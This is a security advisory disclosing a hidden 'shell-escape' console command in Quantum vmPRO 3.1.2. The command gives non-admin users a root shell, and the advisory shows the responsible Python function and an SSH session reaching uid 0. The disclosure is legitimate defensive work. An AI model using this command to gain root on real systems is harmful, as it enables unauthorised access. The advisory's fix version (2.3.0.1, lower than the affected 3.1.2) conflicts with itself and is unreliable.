Quantum vmPRO 3.1.2 Root Shell

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Author:  
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xistence < xistence[at]0x90[.]nl >  
  
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Affected products:  
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Quantum vmPRO 3.1.2 and below  
  
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Affected vendors:  
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Quantum  
http://quantum.com/  
  
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Product description:  
-------------------------  
  
Unlike traditional backup applications and other backup applications  
designed for virtual environments,  
Quantum vmPRO Software backs up VMs in native VMware format. This enables  
users to restore or boot VMs  
in seconds without the use of a backup application, reduces virtual server  
and network usage by reducing  
VM image sizes before backing up those images to backup storage, and  
substantially reduces the cost of  
using traditional backup applications to back up virtual environments.  
  
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Details:  
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[ 0x01 - Shell Backdoor Command ]  
  
The file "/usr/local/pancetera/bin/cmd_processor.py" on the vmPRO 3.1.2  
virtual machine contains the following lines:  
  
def cmd_shell_escape(self, args):  
log_panshell(syslog.LOG_INFO, "internal consistency check started")  
env = dict(os.environ)  
env['SHELL'] = '/bin/bash'  
env['HOME'] = '/tmp'  
env['TERM'] = 'xterm'  
os.spawnle(os.P_WAIT, '/bin/bash', 'bash', env)  
log_panshell(syslog.LOG_INFO, "internal consistency check finished")  
return  
  
This is a hidden command to gain a root shell. If we create a user in the  
web interface without administrator rights,  
we can still ssh and gain a root shell! This of course should not be  
possible and only be accessible to an admin user.  
  
$ ssh [email protected]  
[email protected]'s password:  
Last login: Thu Dec 19 23:42:10 2013 from 192.168.2.72  
Welcome to Quantum vmPRO Console  
--------------------------------  
  
Quantum vmPRO GUI: https://192.168.2.112/  
  
*** Type 'help' for a list of commands.  
  
quantum:localhost> shell-escape  
bash-4.1# id  
uid=0(root) gid=100(users) groups=0(root),100(users)  
  
  
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Solution:  
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Upgrade to version 2.3.0.1 or newer  
  
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Timeline:  
--------------  
  
03-01-2014 - Issues discovered and vendor notified  
15-01-2014 - No reply, asked for status update.  
17-03-2014 - No replies, public disclosure  
`